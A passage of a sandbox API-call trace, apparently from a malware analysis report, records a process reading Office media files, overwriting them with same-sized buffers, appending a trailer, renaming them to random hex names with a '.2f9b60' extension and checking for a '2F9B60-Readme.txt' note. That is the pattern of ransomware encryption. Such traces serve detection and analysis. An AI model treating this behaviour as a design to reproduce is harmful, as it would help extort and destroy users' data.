| out: Seed=0x277bf770) returned 0x41107504 [0136.505] RtlRandomEx (in: Seed=0x277bf770 | out: Seed=0x277bf770) returned 0x44d3e67e [0136.505] RtlRandomEx (in: Seed=0x277bf770 | out: Seed=0x277bf770) returned 0x20cf65db [0136.506] RtlRandomEx (in: Seed=0x277bf770 | out: Seed=0x277bf770) returned 0xa3b500 [0136.506] RtlRandomEx (in: Seed=0x277bf770 | out: Seed=0x277bf770) returned 0x1dd1ff1a [0136.506] RtlRandomEx (in: Seed=0x277bf770 | out: Seed=0x277bf770) returned 0x345eb6ee [0136.506] RtlRandomEx (in: Seed=0x277bf770 | out: Seed=0x277bf770) returned 0x79e13c65 [0136.506] RtlRandomEx (in: Seed=0x277bf770 | out: Seed=0x277bf770) returned 0x44d3e67e [0136.515] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a5c0 [0136.516] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420608b0 [0136.517] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a5f0 [0136.517] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420608b0) returned 1 [0136.517] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a530) returned 1 [0136.517] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a3b0) returned 1 [0136.517] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd98020 [0136.517] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420608b0 [0136.518] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a3b0 [0136.518] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a3b0) returned 1 [0136.518] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x2030a0b0 [0136.518] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x203590f0 [0136.518] ReadFile (in: hFile=0x1d90, lpBuffer=0x2030a0b0, nNumberOfBytesToRead=0x163c, lpNumberOfBytesRead=0x277bf770, lpOverlapped=0x0 | out: lpBuffer=0x2030a0b0*, lpNumberOfBytesRead=0x277bf770*=0x163c, lpOverlapped=0x0) returned 1 [0136.538] SetFilePointerEx (in: hFile=0x1d90, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.538] WriteFile (in: hFile=0x1d90, lpBuffer=0x203590f0*, nNumberOfBytesToWrite=0x163c, lpNumberOfBytesWritten=0x277bf774, lpOverlapped=0x0 | out: lpBuffer=0x203590f0*, lpNumberOfBytesWritten=0x277bf774*=0x163c, lpOverlapped=0x0) returned 1 [0136.590] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a1a0 [0136.590] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a170 [0136.591] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a170) returned 1 [0136.591] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x203590f0) returned 1 [0136.591] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2030a0b0) returned 1 [0136.591] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420608b0) returned 1 [0136.591] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd98020) returned 1 [0136.591] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x4205a170 [0136.591] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd98020 [0136.592] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420608b0 [0136.592] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a110 [0136.592] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a110) returned 1 [0136.592] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x4205a110 [0136.592] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a350 [0136.592] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a0e0 [0136.592] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a0e0) returned 1 [0136.592] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420608b0) returned 1 [0136.593] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd98020) returned 1 [0136.593] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x1673a0 [0136.593] SetFilePointerEx (in: hFile=0x1d90, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0136.593] WriteFile (in: hFile=0x1d90, lpBuffer=0x1673a0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x277bf890, lpOverlapped=0x0 | out: lpBuffer=0x1673a0*, lpNumberOfBytesWritten=0x277bf890*=0x10a, lpOverlapped=0x0) returned 1 [0136.617] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97580 [0136.618] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420607b0 [0136.618] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261820 [0136.618] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261820) returned 1 [0136.618] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0136.618] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261820 [0136.618] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261910 [0136.618] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261910) returned 1 [0136.618] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420607b0) returned 1 [0136.619] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97580) returned 1 [0136.619] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f1f0 [0136.619] sprintf (in: _Dest=0x1cd9f1f0, _Format="%c%c" | out: _Dest="58") returned 2 [0136.619] sprintf (in: _Dest=0x1cd9f1f2, _Format="%c%c" | out: _Dest="02") returned 2 [0136.619] sprintf (in: _Dest=0x1cd9f1f4, _Format="%c%c" | out: _Dest="0b") returned 2 [0136.619] sprintf (in: _Dest=0x1cd9f1f6, _Format="%c%c" | out: _Dest="ec") returned 2 [0136.619] sprintf (in: _Dest=0x1cd9f1f8, _Format="%c%c" | out: _Dest="da") returned 2 [0136.619] sprintf (in: _Dest=0x1cd9f1fa, _Format="%c%c" | out: _Dest="98") returned 2 [0136.619] sprintf (in: _Dest=0x1cd9f1fc, _Format="%c%c" | out: _Dest="69") returned 2 [0136.619] sprintf (in: _Dest=0x1cd9f1fe, _Format="%c%c" | out: _Dest="23") returned 2 [0136.619] sprintf (in: _Dest=0x1cd9f200, _Format="%c%c" | out: _Dest="de") returned 2 [0136.619] sprintf (in: _Dest=0x1cd9f202, _Format="%c%c" | out: _Dest="8c") returned 2 [0136.619] sprintf (in: _Dest=0x1cd9f204, _Format="%c%c" | out: _Dest="05") returned 2 [0136.619] sprintf (in: _Dest=0x1cd9f206, _Format="%c%c" | out: _Dest="21") returned 2 [0136.619] sprintf (in: _Dest=0x1cd9f208, _Format="%c%c" | out: _Dest="63") returned 2 [0136.619] sprintf (in: _Dest=0x1cd9f20a, _Format="%c%c" | out: _Dest="37") returned 2 [0136.619] sprintf (in: _Dest=0x1cd9f20c, _Format="%c%c" | out: _Dest="b6") returned 2 [0136.619] sprintf (in: _Dest=0x1cd9f20e, _Format="%c%c" | out: _Dest="05") returned 2 [0136.620] sprintf (in: _Dest=0x1cd9f210, _Format="%c%c" | out: _Dest="b3") returned 2 [0136.620] sprintf (in: _Dest=0x1cd9f212, _Format="%c%c" | out: _Dest="32") returned 2 [0136.620] sprintf (in: _Dest=0x1cd9f214, _Format="%c%c" | out: _Dest="13") returned 2 [0136.620] sprintf (in: _Dest=0x1cd9f216, _Format="%c%c" | out: _Dest="cb") returned 2 [0136.620] sprintf (in: _Dest=0x1cd9f218, _Format="%c%c" | out: _Dest="4c") returned 2 [0136.620] sprintf (in: _Dest=0x1cd9f21a, _Format="%c%c" | out: _Dest="75") returned 2 [0136.620] sprintf (in: _Dest=0x1cd9f21c, _Format="%c%c" | out: _Dest="dc") returned 2 [0136.620] sprintf (in: _Dest=0x1cd9f21e, _Format="%c%c" | out: _Dest="5e") returned 2 [0136.620] RtlInitAnsiString (in: DestinationString=0x277bf908, SourceString="58020becda986923de8c05216337b605b33213cb4c75dc5e" | out: DestinationString="58020becda986923de8c05216337b605b33213cb4c75dc5e") [0136.620] RtlAnsiStringToUnicodeString (in: DestinationString=0x277bf8d8, SourceString="58020becda986923de8c05216337b605b33213cb4c75dc5e", AllocateDestinationString=1 | out: DestinationString="58020becda986923de8c05216337b605b33213cb4c75dc5e") returned 0x0 [0136.620] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced8ad0 [0136.620] RtlFreeAnsiString (AnsiString="5") [0136.621] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9f1f0) returned 1 [0136.621] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d5a50) returned 1 [0136.621] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261820) returned 1 [0136.621] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1673a0) returned 1 [0136.621] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a110) returned 1 [0136.621] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a350) returned 1 [0136.621] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a170) returned 1 [0136.621] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a1a0) returned 1 [0136.621] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a4d0) returned 1 [0136.622] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a5c0) returned 1 [0136.622] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a5f0) returned 1 [0136.622] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x20506630 [0136.622] wcscat (in: _Dest=0x20506630, _Source="58020becda98" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\58020becda98") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\58020becda98" [0136.622] wcscat (in: _Dest=0x20506630, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\58020becda98.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\58020becda98.2f9b60" [0136.622] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\58020becda98.2f9b60", NtPathName=0x277bf8b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\58020becda98.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0136.622] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x2050c240 [0136.622] NtSetInformationFile (FileHandle=0x1d90, IoStatusBlock=0x277bf950, FileInformation=0x2050c240, Length=0xa8, FileInformationClass=0xa) returned 0x0 [0147.293] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050c240) returned 1 [0147.293] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202923b0) returned 1 [0147.293] NtQueryInformationFile (in: FileHandle=0x1d90, IoStatusBlock=0x277bf918, FileInformation=0x277bf928, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x277bf918, FileInformation=0x277bf928) returned 0x0 [0147.293] NtSetInformationFile (FileHandle=0x1d90, IoStatusBlock=0x277bf918, FileInformation=0x277bf928, Length=0x28, FileInformationClass=0x4) returned 0x0 [0147.356] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20506630) returned 1 [0147.356] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8ad0) returned 1 [0147.356] FlushFileBuffers (hFile=0x1d90) returned 1 [0147.361] CloseHandle (hObject=0x1d90) returned 1 [0147.363] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b85b880 [0147.363] wcscpy (in: _Dest=0x1b85b880, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0147.363] wcscat (in: _Dest=0x1b85b880, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" [0147.363] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\2f9b60-readme.txt")) returned 0x20 [0147.364] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b880) returned 1 [0147.364] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86b940) returned 1 Thread: id = 1762 os_tid = 0xe28 [0132.102] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299171.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0299171.wmf")) returned 0x20 [0132.989] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299171.WMF", dwFileAttributes=0x20) returned 1 [0133.724] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299171.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0299171.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1d8c [0136.499] GetFileSizeEx (in: hFile=0x1d8c, lpFileSize=0x2787f780 | out: lpFileSize=0x2787f780*=9142) returned 1 [0136.499] SetFilePointerEx (in: hFile=0x1d8c, liDistanceToMove=0x23b2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.499] ReadFile (in: hFile=0x1d8c, lpBuffer=0x2787f700, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2787f748, lpOverlapped=0x0 | out: lpBuffer=0x2787f700*, lpNumberOfBytesRead=0x2787f748*=0x4, lpOverlapped=0x0) returned 1 [0136.522] SetFilePointerEx (in: hFile=0x1d8c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.522] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a3b0 [0136.522] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a530 [0136.523] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a620 [0136.523] NtQuerySystemTime (in: CurrentTime=0x2787f640 | out: CurrentTime=0x2787f640*=132462177417646000) returned 0x0 [0136.523] RtlRandomEx (in: Seed=0x2787f630 | out: Seed=0x2787f630) returned 0x70b6a3f4 [0136.523] RtlRandomEx (in: Seed=0x2787f630 | out: Seed=0x2787f630) returned 0x1c2fbc22 [0136.523] RtlRandomEx (in: Seed=0x2787f630 | out: Seed=0x2787f630) returned 0x28987331 [0136.523] RtlRandomEx (in: Seed=0x2787f630 | out: Seed=0x2787f630) returned 0x63094c0c [0136.523] RtlRandomEx (in: Seed=0x2787f630 | out: Seed=0x2787f630) returned 0x2e2e7e07 [0136.523] RtlRandomEx (in: Seed=0x2787f630 | out: Seed=0x2787f630) returned 0x741e8676 [0136.523] RtlRandomEx (in: Seed=0x2787f630 | out: Seed=0x2787f630) returned 0x60f1ce66 [0136.523] RtlRandomEx (in: Seed=0x2787f630 | out: Seed=0x2787f630) returned 0x95e0b85 [0136.523] RtlRandomEx (in: Seed=0x2787f630 | out: Seed=0x2787f630) returned 0x76a23279 [0136.523] RtlRandomEx (in: Seed=0x2787f630 | out: Seed=0x2787f630) returned 0x3a2260f8 [0136.523] RtlRandomEx (in: Seed=0x2787f630 | out: Seed=0x2787f630) returned 0x6e29c098 [0136.523] RtlRandomEx (in: Seed=0x2787f630 | out: Seed=0x2787f630) returned 0x1b399020 [0136.523] RtlRandomEx (in: Seed=0x2787f630 | out: Seed=0x2787f630) returned 0x627be853 [0136.523] RtlRandomEx (in: Seed=0x2787f630 | out: Seed=0x2787f630) returned 0x768e2d86 [0136.523] RtlRandomEx (in: Seed=0x2787f630 | out: Seed=0x2787f630) returned 0x4fd0ae65 [0136.523] RtlRandomEx (in: Seed=0x2787f630 | out: Seed=0x2787f630) returned 0x34d99186 [0136.523] RtlRandomEx (in: Seed=0x2787f630 | out: Seed=0x2787f630) returned 0x7c2af964 [0136.523] RtlRandomEx (in: Seed=0x2787f630 | out: Seed=0x2787f630) returned 0x74446cb2 [0136.523] RtlRandomEx (in: Seed=0x2787f630 | out: Seed=0x2787f630) returned 0x2eb0aab6 [0136.523] RtlRandomEx (in: Seed=0x2787f630 | out: Seed=0x2787f630) returned 0xdc0dece [0136.523] RtlRandomEx (in: Seed=0x2787f630 | out: Seed=0x2787f630) returned 0x54834e4d [0136.523] RtlRandomEx (in: Seed=0x2787f630 | out: Seed=0x2787f630) returned 0x71815aa2 [0136.523] RtlRandomEx (in: Seed=0x2787f630 | out: Seed=0x2787f630) returned 0x5d3fecba [0136.523] RtlRandomEx (in: Seed=0x2787f630 | out: Seed=0x2787f630) returned 0x69944bc5 [0136.523] RtlRandomEx (in: Seed=0x2787f630 | out: Seed=0x2787f630) returned 0x7c34f48 [0136.523] RtlRandomEx (in: Seed=0x2787f630 | out: Seed=0x2787f630) returned 0x6e8c4fee [0136.523] RtlRandomEx (in: Seed=0x2787f630 | out: Seed=0x2787f630) returned 0x339dc9d8 [0136.523] RtlRandomEx (in: Seed=0x2787f630 | out: Seed=0x2787f630) returned 0x37d8a7a8 [0136.524] RtlRandomEx (in: Seed=0x2787f630 | out: Seed=0x2787f630) returned 0x979e341 [0136.524] RtlRandomEx (in: Seed=0x2787f630 | out: Seed=0x2787f630) returned 0x4b0af77b [0136.524] RtlRandomEx (in: Seed=0x2787f630 | out: Seed=0x2787f630) returned 0x273bb475 [0136.524] RtlRandomEx (in: Seed=0x2787f630 | out: Seed=0x2787f630) returned 0x7758ff26 [0136.533] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a650 [0136.534] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420607b0 [0136.534] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a680 [0136.534] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420607b0) returned 1 [0136.534] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a620) returned 1 [0136.534] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a3b0) returned 1 [0136.534] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97580 [0136.534] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420607b0 [0136.534] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a3b0 [0136.535] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a3b0) returned 1 [0136.535] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20324520 [0136.535] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20320910 [0136.535] ReadFile (in: hFile=0x1d8c, lpBuffer=0x20324520, nNumberOfBytesToRead=0x23b6, lpNumberOfBytesRead=0x2787f630, lpOverlapped=0x0 | out: lpBuffer=0x20324520*, lpNumberOfBytesRead=0x2787f630*=0x23b6, lpOverlapped=0x0) returned 1 [0136.544] SetFilePointerEx (in: hFile=0x1d8c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.544] WriteFile (in: hFile=0x1d8c, lpBuffer=0x20320910*, nNumberOfBytesToWrite=0x23b6, lpNumberOfBytesWritten=0x2787f634, lpOverlapped=0x0 | out: lpBuffer=0x20320910*, lpNumberOfBytesWritten=0x2787f634*=0x23b6, lpOverlapped=0x0) returned 1 [0136.602] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a0e0 [0136.602] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a0b0 [0136.602] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a0b0) returned 1 [0136.603] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20320910) returned 1 [0136.603] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20324520) returned 1 [0136.603] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420607b0) returned 1 [0136.603] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97580) returned 1 [0136.603] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x4205a0b0 [0136.603] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97580 [0136.603] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420607b0 [0136.603] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a410 [0136.604] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a410) returned 1 [0136.604] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x4205a410 [0136.604] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a440 [0136.604] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a4a0 [0136.604] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a4a0) returned 1 [0136.604] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420607b0) returned 1 [0136.604] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97580) returned 1 [0136.604] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x1674c0 [0136.605] SetFilePointerEx (in: hFile=0x1d8c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0136.605] WriteFile (in: hFile=0x1d8c, lpBuffer=0x1674c0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2787f750, lpOverlapped=0x0 | out: lpBuffer=0x1674c0*, lpNumberOfBytesWritten=0x2787f750*=0x10a, lpOverlapped=0x0) returned 1 [0136.623] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97580 [0136.623] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420607b0 [0136.624] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a5f0 [0136.624] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a5f0) returned 1 [0136.624] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0136.624] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a5f0 [0136.624] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a5c0 [0136.624] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a5c0) returned 1 [0136.624] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420607b0) returned 1 [0136.625] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97580) returned 1 [0136.625] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f1f0 [0136.625] sprintf (in: _Dest=0x1cd9f1f0, _Format="%c%c" | out: _Dest="2b") returned 2 [0136.625] sprintf (in: _Dest=0x1cd9f1f2, _Format="%c%c" | out: _Dest="64") returned 2 [0136.625] sprintf (in: _Dest=0x1cd9f1f4, _Format="%c%c" | out: _Dest="af") returned 2 [0136.625] sprintf (in: _Dest=0x1cd9f1f6, _Format="%c%c" | out: _Dest="ad") returned 2 [0136.625] sprintf (in: _Dest=0x1cd9f1f8, _Format="%c%c" | out: _Dest="07") returned 2 [0136.625] sprintf (in: _Dest=0x1cd9f1fa, _Format="%c%c" | out: _Dest="c9") returned 2 [0136.626] sprintf (in: _Dest=0x1cd9f1fc, _Format="%c%c" | out: _Dest="ab") returned 2 [0136.626] sprintf (in: _Dest=0x1cd9f1fe, _Format="%c%c" | out: _Dest="cb") returned 2 [0136.626] sprintf (in: _Dest=0x1cd9f200, _Format="%c%c" | out: _Dest="fa") returned 2 [0136.626] sprintf (in: _Dest=0x1cd9f202, _Format="%c%c" | out: _Dest="99") returned 2 [0136.626] sprintf (in: _Dest=0x1cd9f204, _Format="%c%c" | out: _Dest="d1") returned 2 [0136.626] sprintf (in: _Dest=0x1cd9f206, _Format="%c%c" | out: _Dest="d8") returned 2 [0136.626] sprintf (in: _Dest=0x1cd9f208, _Format="%c%c" | out: _Dest="49") returned 2 [0136.626] sprintf (in: _Dest=0x1cd9f20a, _Format="%c%c" | out: _Dest="d4") returned 2 [0136.626] sprintf (in: _Dest=0x1cd9f20c, _Format="%c%c" | out: _Dest="c4") returned 2 [0136.626] sprintf (in: _Dest=0x1cd9f20e, _Format="%c%c" | out: _Dest="9d") returned 2 [0136.626] sprintf (in: _Dest=0x1cd9f210, _Format="%c%c" | out: _Dest="91") returned 2 [0136.626] sprintf (in: _Dest=0x1cd9f212, _Format="%c%c" | out: _Dest="f9") returned 2 [0136.626] sprintf (in: _Dest=0x1cd9f214, _Format="%c%c" | out: _Dest="ce") returned 2 [0136.626] sprintf (in: _Dest=0x1cd9f216, _Format="%c%c" | out: _Dest="88") returned 2 [0136.626] sprintf (in: _Dest=0x1cd9f218, _Format="%c%c" | out: _Dest="58") returned 2 [0136.626] sprintf (in: _Dest=0x1cd9f21a, _Format="%c%c" | out: _Dest="ee") returned 2 [0136.626] sprintf (in: _Dest=0x1cd9f21c, _Format="%c%c" | out: _Dest="91") returned 2 [0136.626] sprintf (in: _Dest=0x1cd9f21e, _Format="%c%c" | out: _Dest="2a") returned 2 [0136.626] RtlInitAnsiString (in: DestinationString=0x2787f7c8, SourceString="2b64afad07c9abcbfa99d1d849d4c49d91f9ce8858ee912a" | out: DestinationString="2b64afad07c9abcbfa99d1d849d4c49d91f9ce8858ee912a") [0136.626] RtlAnsiStringToUnicodeString (in: DestinationString=0x2787f798, SourceString="2b64afad07c9abcbfa99d1d849d4c49d91f9ce8858ee912a", AllocateDestinationString=1 | out: DestinationString="2b64afad07c9abcbfa99d1d849d4c49d91f9ce8858ee912a") returned 0x0 [0136.626] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced8d70 [0136.627] RtlFreeAnsiString (AnsiString="2") [0136.627] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9f1f0) returned 1 [0136.627] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d5a50) returned 1 [0136.627] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a5f0) returned 1 [0136.627] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1674c0) returned 1 [0136.627] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a410) returned 1 [0136.628] 